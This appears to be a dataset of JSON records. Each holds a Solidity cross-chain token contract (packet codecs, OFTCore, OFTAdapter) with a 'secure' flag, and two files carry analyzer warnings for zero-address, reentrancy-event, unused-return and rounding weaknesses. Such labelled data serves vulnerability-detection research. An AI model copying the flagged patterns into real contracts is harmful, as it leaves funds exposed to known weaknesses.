{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./AddressCast.sol\" as AddressCast;\n\nlibrary PacketV1Codec {\n using AddressCast for address;\n\n using AddressCast for bytes32;\n\n uint8 internal constant PACKET_VERSION = 1;\n\n uint256 private constant PACKET_VERSION_OFFSET = 0;\n\n uint256 private constant NONCE_OFFSET = 1;\n\n uint256 private constant SRC_EID_OFFSET = 9;\n\n uint256 private constant SENDER_OFFSET = 13;\n\n uint256 private constant DST_EID_OFFSET = 45;\n\n uint256 private constant RECEIVER_OFFSET = 49;\n\n uint256 private constant GUID_OFFSET = 81;\n\n uint256 private constant MESSAGE_OFFSET = 113;\n\n function encode(\n Packet memory _packet\n ) internal pure returns (bytes memory encodedPacket) {\n encodedPacket = abi.encodePacked(\n PACKET_VERSION,\n _packet.nonce,\n _packet.srcEid,\n _packet.sender.toBytes32(),\n _packet.dstEid,\n _packet.receiver,\n _packet.guid,\n _packet.message\n );\n }\n\n function encodePacketHeader(\n Packet memory _packet\n ) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n PACKET_VERSION,\n _packet.nonce,\n _packet.srcEid,\n _packet.sender.toBytes32(),\n _packet.dstEid,\n _packet.receiver\n );\n }\n\n function encodePayload(\n Packet memory _packet\n ) internal pure returns (bytes memory) {\n return abi.encodePacked(_packet.guid, _packet.message);\n }\n\n function header(\n bytes calldata _packet\n ) internal pure returns (bytes calldata) {\n return _packet[0:GUID_OFFSET];\n }\n\n function version(bytes calldata _packet) internal pure returns (uint8) {\n return uint8(bytes1(_packet[PACKET_VERSION_OFFSET:NONCE_OFFSET]));\n }\n\n function nonce(bytes calldata _packet) internal pure returns (uint64) {\n return uint64(bytes8(_packet[NONCE_OFFSET:SRC_EID_OFFSET]));\n }\n\n function srcEid(bytes calldata _packet) internal pure returns (uint32) {\n return uint32(bytes4(_packet[SRC_EID_OFFSET:SENDER_OFFSET]));\n }\n\n function sender(bytes calldata _packet) internal pure returns (bytes32) {\n return bytes32(_packet[SENDER_OFFSET:DST_EID_OFFSET]);\n }\n\n function senderAddressB20(\n bytes calldata _packet\n ) internal pure returns (address) {\n return sender(_packet).toAddress();\n }\n\n function dstEid(bytes calldata _packet) internal pure returns (uint32) {\n return uint32(bytes4(_packet[DST_EID_OFFSET:RECEIVER_OFFSET]));\n }\n\n function receiver(bytes calldata _packet) internal pure returns (bytes32) {\n return bytes32(_packet[RECEIVER_OFFSET:GUID_OFFSET]);\n }\n\n function receiverB20(\n bytes calldata _packet\n ) internal pure returns (address) {\n return receiver(_packet).toAddress();\n }\n\n function guid(bytes calldata _packet) internal pure returns (bytes32) {\n return bytes32(_packet[GUID_OFFSET:MESSAGE_OFFSET]);\n }\n\n function message(\n bytes calldata _packet\n ) internal pure returns (bytes calldata) {\n return bytes(_packet[MESSAGE_OFFSET:]);\n }\n\n function payload(\n bytes calldata _packet\n ) internal pure returns (bytes calldata) {\n return bytes(_packet[GUID_OFFSET:]);\n }\n\n function payloadHash(\n bytes calldata _packet\n ) internal pure returns (bytes32) {\n return keccak256(payload(_packet));\n }\n}\n\nstruct InboundPacket {\n Origin origin;\n uint32 dstEid;\n address receiver;\n bytes32 guid;\n uint256 value;\n address executor;\n bytes message;\n bytes extraData;\n}", "file_name": "solidity_code_960.sol", "secure": 1, "size_bytes": 3907 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./PacketV1Codec.sol\" as PacketV1Codec;\nimport \"./PacketDecoder.sol\" as PacketDecoder;\n\nlibrary PacketDecoder {\n using PacketV1Codec for bytes;\n\n function decode(\n bytes calldata _packet\n ) internal pure returns (InboundPacket memory packet) {\n packet.origin = Origin(\n _packet.srcEid(),\n _packet.sender(),\n _packet.nonce()\n );\n\n packet.dstEid = _packet.dstEid();\n\n packet.receiver = _packet.receiverB20();\n\n packet.guid = _packet.guid();\n\n packet.message = _packet.message();\n }\n\n function decode(\n bytes[] calldata _packets,\n uint256[] memory _packetMsgValues\n ) internal pure returns (InboundPacket[] memory packets) {\n packets = new InboundPacket[](_packets.length);\n\n for (uint256 i = 0; i < _packets.length; i++) {\n bytes calldata packet = _packets[i];\n\n packets[i] = PacketDecoder.decode(packet);\n\n packets[i].value = _packetMsgValues[i];\n }\n }\n}", "file_name": "solidity_code_961.sol", "secure": 1, "size_bytes": 1137 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOAppPreCrimeSimulator {\n error SimulationResult(bytes result);\n\n error OnlySelf();\n\n event PreCrimeSet(address preCrimeAddress);\n\n function preCrime() external view returns (address);\n\n function oApp() external view returns (address);\n\n function setPreCrime(address _preCrime) external;\n\n function lzReceiveAndRevert(\n InboundPacket[] calldata _packets\n ) external payable;\n\n function isPeer(uint32 _eid, bytes32 _peer) external view returns (bool);\n}", "file_name": "solidity_code_962.sol", "secure": 1, "size_bytes": 582 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IOAppPreCrimeSimulator.sol\" as IOAppPreCrimeSimulator;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPreCrime.sol\" as IPreCrime;\n\nabstract contract OAppPreCrimeSimulator is IOAppPreCrimeSimulator, Ownable {\n address public preCrime;\n\n function oApp() external view virtual returns (address) {\n return address(this);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 52029c0): OAppPreCrimeSimulator.setPreCrime(address)._preCrime lacks a zerocheck on \t preCrime = _preCrime\n\t// Recommendation for 52029c0: Check that the address is not zero.\n function setPreCrime(address _preCrime) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 52029c0\n preCrime = _preCrime;\n\n emit PreCrimeSet(_preCrime);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 89ce175): Calls inside a loop might lead to a denial-of-service attack.\n\t// Recommendation for 89ce175: Favor pull over push strategy for external calls.\n function lzReceiveAndRevert(\n InboundPacket[] calldata _packets\n ) public payable virtual {\n for (uint256 i = 0; i < _packets.length; i++) {\n InboundPacket calldata packet = _packets[i];\n\n if (!isPeer(packet.origin.srcEid, packet.origin.sender)) continue;\n\n\t\t\t// calls-loop | ID: 89ce175\n this.lzReceiveSimulate{value: packet.value}(\n packet.origin,\n packet.guid,\n packet.message,\n packet.executor,\n packet.extraData\n );\n }\n\n revert SimulationResult(IPreCrime(msg.sender).buildSimulationResult());\n }\n\n function lzReceiveSimulate(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) external payable virtual {\n if (msg.sender != address(this)) revert OnlySelf();\n\n _lzReceiveSimulate(_origin, _guid, _message, _executor, _extraData);\n }\n\n function _lzReceiveSimulate(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) internal virtual;\n\n function isPeer(\n uint32 _eid,\n bytes32 _peer\n ) public view virtual returns (bool);\n}\n\nstruct SendParam {\n uint32 dstEid;\n bytes32 to;\n uint256 amountLD;\n uint256 minAmountLD;\n bytes extraOptions;\n bytes composeMsg;\n bytes oftCmd;\n}\n\nstruct OFTLimit {\n uint256 minAmountLD;\n uint256 maxAmountLD;\n}\n\nstruct OFTReceipt {\n uint256 amountSentLD;\n uint256 amountReceivedLD;\n}\n\nstruct OFTFeeDetail {\n int256 feeAmountLD;\n string description;\n}", "file_name": "solidity_code_963.sol", "secure": 0, "size_bytes": 2902 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IOFT {\n error InvalidLocalDecimals();\n\n error SlippageExceeded(uint256 amountLD, uint256 minAmountLD);\n\n event OFTSent(\n bytes32 indexed guid,\n uint32 dstEid,\n address indexed fromAddress,\n uint256 amountSentLD,\n uint256 amountReceivedLD\n );\n\n event OFTReceived(\n bytes32 indexed guid,\n uint32 srcEid,\n address indexed toAddress,\n uint256 amountReceivedLD\n );\n\n function oftVersion()\n external\n view\n returns (bytes4 interfaceId, uint64 version);\n\n function token() external view returns (address);\n\n function approvalRequired() external view returns (bool);\n\n function sharedDecimals() external view returns (uint8);\n\n function quoteOFT(\n SendParam calldata _sendParam\n )\n external\n view\n returns (\n OFTLimit memory,\n OFTFeeDetail[] memory oftFeeDetails,\n OFTReceipt memory\n );\n\n function quoteSend(\n SendParam calldata _sendParam,\n bool _payInLzToken\n ) external view returns (MessagingFee memory);\n\n function send(\n SendParam calldata _sendParam,\n MessagingFee calldata _fee,\n address _refundAddress\n ) external payable returns (MessagingReceipt memory, OFTReceipt memory);\n}", "file_name": "solidity_code_964.sol", "secure": 1, "size_bytes": 1443 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary OFTMsgCodec {\n uint8 private constant SEND_TO_OFFSET = 32;\n\n uint8 private constant SEND_AMOUNT_SD_OFFSET = 40;\n\n function encode(\n bytes32 _sendTo,\n uint64 _amountShared,\n bytes memory _composeMsg\n ) internal view returns (bytes memory _msg, bool hasCompose) {\n hasCompose = _composeMsg.length > 0;\n\n _msg = hasCompose\n ? abi.encodePacked(\n _sendTo,\n _amountShared,\n addressToBytes32(msg.sender),\n _composeMsg\n )\n : abi.encodePacked(_sendTo, _amountShared);\n }\n\n function isComposed(bytes calldata _msg) internal pure returns (bool) {\n return _msg.length > SEND_AMOUNT_SD_OFFSET;\n }\n\n function sendTo(bytes calldata _msg) internal pure returns (bytes32) {\n return bytes32(_msg[:SEND_TO_OFFSET]);\n }\n\n function amountSD(bytes calldata _msg) internal pure returns (uint64) {\n return uint64(bytes8(_msg[SEND_TO_OFFSET:SEND_AMOUNT_SD_OFFSET]));\n }\n\n function composeMsg(\n bytes calldata _msg\n ) internal pure returns (bytes memory) {\n return _msg[SEND_AMOUNT_SD_OFFSET:];\n }\n\n function addressToBytes32(address _addr) internal pure returns (bytes32) {\n return bytes32(uint256(uint160(_addr)));\n }\n\n function bytes32ToAddress(bytes32 _b) internal pure returns (address) {\n return address(uint160(uint256(_b)));\n }\n}", "file_name": "solidity_code_965.sol", "secure": 1, "size_bytes": 1565 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary OFTComposeMsgCodec {\n uint8 private constant NONCE_OFFSET = 8;\n\n uint8 private constant SRC_EID_OFFSET = 12;\n\n uint8 private constant AMOUNT_LD_OFFSET = 44;\n\n uint8 private constant COMPOSE_FROM_OFFSET = 76;\n\n function encode(\n uint64 _nonce,\n uint32 _srcEid,\n uint256 _amountLD,\n bytes memory _composeMsg\n ) internal pure returns (bytes memory _msg) {\n _msg = abi.encodePacked(_nonce, _srcEid, _amountLD, _composeMsg);\n }\n\n function nonce(bytes calldata _msg) internal pure returns (uint64) {\n return uint64(bytes8(_msg[:NONCE_OFFSET]));\n }\n\n function srcEid(bytes calldata _msg) internal pure returns (uint32) {\n return uint32(bytes4(_msg[NONCE_OFFSET:SRC_EID_OFFSET]));\n }\n\n function amountLD(bytes calldata _msg) internal pure returns (uint256) {\n return uint256(bytes32(_msg[SRC_EID_OFFSET:AMOUNT_LD_OFFSET]));\n }\n\n function composeFrom(bytes calldata _msg) internal pure returns (bytes32) {\n return bytes32(_msg[AMOUNT_LD_OFFSET:COMPOSE_FROM_OFFSET]);\n }\n\n function composeMsg(\n bytes calldata _msg\n ) internal pure returns (bytes memory) {\n return _msg[COMPOSE_FROM_OFFSET:];\n }\n\n function addressToBytes32(address _addr) internal pure returns (bytes32) {\n return bytes32(uint256(uint160(_addr)));\n }\n\n function bytes32ToAddress(bytes32 _b) internal pure returns (address) {\n return address(uint160(uint256(_b)));\n }\n}", "file_name": "solidity_code_966.sol", "secure": 1, "size_bytes": 1605 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IOFT.sol\" as IOFT;\nimport \"./OApp.sol\" as OApp;\nimport \"./OAppPreCrimeSimulator.sol\" as OAppPreCrimeSimulator;\nimport \"./OAppOptionsType3.sol\" as OAppOptionsType3;\nimport \"./IOAppMsgInspector.sol\" as IOAppMsgInspector;\nimport \"./OFTMsgCodec.sol\" as OFTMsgCodec;\nimport \"./OFTComposeMsgCodec.sol\" as OFTComposeMsgCodec;\n\nabstract contract OFTCore is\n IOFT,\n OApp,\n OAppPreCrimeSimulator,\n OAppOptionsType3\n{\n using OFTMsgCodec for bytes;\n\n using OFTMsgCodec for bytes32;\n\n uint256 public immutable decimalConversionRate;\n\n uint16 public constant SEND = 1;\n\n uint16 public constant SEND_AND_CALL = 2;\n\n address public msgInspector;\n\n event MsgInspectorSet(address inspector);\n\n constructor(\n uint8 _localDecimals,\n address _endpoint,\n address _delegate\n ) OApp(_endpoint, _delegate) {\n if (_localDecimals < sharedDecimals()) revert InvalidLocalDecimals();\n\n decimalConversionRate = 10 ** (_localDecimals - sharedDecimals());\n }\n\n function oftVersion()\n external\n pure\n virtual\n returns (bytes4 interfaceId, uint64 version)\n {\n return (type(IOFT).interfaceId, 1);\n }\n\n function sharedDecimals() public view virtual returns (uint8) {\n return 6;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8c1b607): OFTCore.setMsgInspector(address)._msgInspector lacks a zerocheck on \t msgInspector = _msgInspector\n\t// Recommendation for 8c1b607: Check that the address is not zero.\n function setMsgInspector(address _msgInspector) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 8c1b607\n msgInspector = _msgInspector;\n\n emit MsgInspectorSet(_msgInspector);\n }\n\n function quoteOFT(\n SendParam calldata _sendParam\n )\n external\n view\n virtual\n returns (\n OFTLimit memory oftLimit,\n OFTFeeDetail[] memory oftFeeDetails,\n OFTReceipt memory oftReceipt\n )\n {\n uint256 minAmountLD = 0;\n\n uint256 maxAmountLD = type(uint64).max;\n\n oftLimit = OFTLimit(minAmountLD, maxAmountLD);\n\n oftFeeDetails = new OFTFeeDetail[](0);\n\n (uint256 amountSentLD, uint256 amountReceivedLD) = _debitView(\n _sendParam.amountLD,\n _sendParam.minAmountLD,\n _sendParam.dstEid\n );\n\n oftReceipt = OFTReceipt(amountSentLD, amountReceivedLD);\n }\n\n function quoteSend(\n SendParam calldata _sendParam,\n bool _payInLzToken\n ) external view virtual returns (MessagingFee memory msgFee) {\n (, uint256 amountReceivedLD) = _debitView(\n _sendParam.amountLD,\n _sendParam.minAmountLD,\n _sendParam.dstEid\n );\n\n (bytes memory message, bytes memory options) = _buildMsgAndOptions(\n _sendParam,\n amountReceivedLD\n );\n\n return _quote(_sendParam.dstEid, message, options, _payInLzToken);\n }\n\n function send(\n SendParam calldata _sendParam,\n MessagingFee calldata _fee,\n address _refundAddress\n )\n external\n payable\n virtual\n returns (\n MessagingReceipt memory msgReceipt,\n OFTReceipt memory oftReceipt\n )\n {\n return _send(_sendParam, _fee, _refundAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a919500): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a919500: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _send(\n SendParam calldata _sendParam,\n MessagingFee calldata _fee,\n address _refundAddress\n )\n internal\n virtual\n returns (\n MessagingReceipt memory msgReceipt,\n OFTReceipt memory oftReceipt\n )\n {\n (uint256 amountSentLD, uint256 amountReceivedLD) = _debit(\n msg.sender,\n _sendParam.amountLD,\n _sendParam.minAmountLD,\n _sendParam.dstEid\n );\n\n (bytes memory message, bytes memory options) = _buildMsgAndOptions(\n _sendParam,\n amountReceivedLD\n );\n\n\t\t// reentrancy-events | ID: a919500\n msgReceipt = _lzSend(\n _sendParam.dstEid,\n message,\n options,\n _fee,\n _refundAddress\n );\n\n oftReceipt = OFTReceipt(amountSentLD, amountReceivedLD);\n\n\t\t// reentrancy-events | ID: a919500\n emit OFTSent(\n msgReceipt.guid,\n _sendParam.dstEid,\n msg.sender,\n amountSentLD,\n amountReceivedLD\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cdc5651): OFTCore._buildMsgAndOptions(SendParam,uint256) ignores return value by IOAppMsgInspector(inspector).inspect(message,options)\n\t// Recommendation for cdc5651: Ensure that all the return values of the function calls are used.\n function _buildMsgAndOptions(\n SendParam calldata _sendParam,\n uint256 _amountLD\n )\n internal\n view\n virtual\n returns (bytes memory message, bytes memory options)\n {\n bool hasCompose;\n\n (message, hasCompose) = OFTMsgCodec.encode(\n _sendParam.to,\n _toSD(_amountLD),\n _sendParam.composeMsg\n );\n\n uint16 msgType = hasCompose ? SEND_AND_CALL : SEND;\n\n options = combineOptions(\n _sendParam.dstEid,\n msgType,\n _sendParam.extraOptions\n );\n\n address inspector = msgInspector;\n\n if (inspector != address(0))\n\t\t\t// unused-return | ID: cdc5651\n IOAppMsgInspector(inspector).inspect(message, options);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6e62aba): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6e62aba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _lzReceive(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address,\n bytes calldata\n ) internal virtual override {\n address toAddress = _message.sendTo().bytes32ToAddress();\n\n uint256 amountReceivedLD = _credit(\n toAddress,\n _toLD(_message.amountSD()),\n _origin.srcEid\n );\n\n if (_message.isComposed()) {\n bytes memory composeMsg = OFTComposeMsgCodec.encode(\n _origin.nonce,\n _origin.srcEid,\n amountReceivedLD,\n _message.composeMsg()\n );\n\n\t\t\t// reentrancy-events | ID: 6e62aba\n endpoint.sendCompose(toAddress, _guid, 0, composeMsg);\n }\n\n\t\t// reentrancy-events | ID: 6e62aba\n emit OFTReceived(_guid, _origin.srcEid, toAddress, amountReceivedLD);\n }\n\n function _lzReceiveSimulate(\n Origin calldata _origin,\n bytes32 _guid,\n bytes calldata _message,\n address _executor,\n bytes calldata _extraData\n ) internal virtual override {\n _lzReceive(_origin, _guid, _message, _executor, _extraData);\n }\n\n function isPeer(\n uint32 _eid,\n bytes32 _peer\n ) public view virtual override returns (bool) {\n return peers[_eid] == _peer;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cb89b5d): OFTCore._removeDust(uint256) performs a multiplication on the result of a division (_amountLD / decimalConversionRate) * decimalConversionRate\n\t// Recommendation for cb89b5d: Consider ordering multiplication before division.\n function _removeDust(\n uint256 _amountLD\n ) internal view virtual returns (uint256 amountLD) {\n\t\t// divide-before-multiply | ID: cb89b5d\n return (_amountLD / decimalConversionRate) * decimalConversionRate;\n }\n\n function _toLD(\n uint64 _amountSD\n ) internal view virtual returns (uint256 amountLD) {\n return _amountSD * decimalConversionRate;\n }\n\n function _toSD(\n uint256 _amountLD\n ) internal view virtual returns (uint64 amountSD) {\n return uint64(_amountLD / decimalConversionRate);\n }\n\n function _debitView(\n uint256 _amountLD,\n uint256 _minAmountLD,\n uint32\n )\n internal\n view\n virtual\n returns (uint256 amountSentLD, uint256 amountReceivedLD)\n {\n amountSentLD = _removeDust(_amountLD);\n\n amountReceivedLD = amountSentLD;\n\n if (amountReceivedLD < _minAmountLD) {\n revert SlippageExceeded(amountReceivedLD, _minAmountLD);\n }\n }\n\n function _debit(\n address _from,\n uint256 _amountLD,\n uint256 _minAmountLD,\n uint32 _dstEid\n ) internal virtual returns (uint256 amountSentLD, uint256 amountReceivedLD);\n\n function _credit(\n address _to,\n uint256 _amountLD,\n uint32 _srcEid\n ) internal virtual returns (uint256 amountReceivedLD);\n}", "file_name": "solidity_code_967.sol", "secure": 0, "size_bytes": 9741 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./OFTCore.sol\" as OFTCore;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\nabstract contract OFTAdapter is OFTCore {\n using SafeERC20 for IERC20;\n\n IERC20 internal immutable innerToken;\n\n constructor(\n address _token,\n address _lzEndpoint,\n address _delegate\n ) OFTCore(IERC20Metadata(_token).decimals(), _lzEndpoint, _delegate) {\n innerToken = IERC20(_token);\n }\n\n function token() public view returns (address) {\n return address(innerToken);\n }\n\n function approvalRequired() external pure virtual returns (bool) {\n return true;\n }\n\n function _debit(\n address _from,\n uint256 _amountLD,\n uint256 _minAmountLD,\n uint32 _dstEid\n )\n internal\n virtual\n override\n returns (uint256 amountSentLD, uint256 amountReceivedLD)\n {\n (amountSentLD, amountReceivedLD) = _debitView(\n _amountLD,\n _minAmountLD,\n _dstEid\n );\n\n innerToken.safeTransferFrom(_from, address(this), amountSentLD);\n }\n\n function _credit(\n address _to,\n uint256 _amountLD,\n uint32\n ) internal virtual override returns (uint256 amountReceivedLD) {\n innerToken.safeTransfer(_to, _amountLD);\n\n return _amountLD;\n }\n}", "file_name": "solidity_code_968.sol", "secure": 1, "size_bytes": 1618 }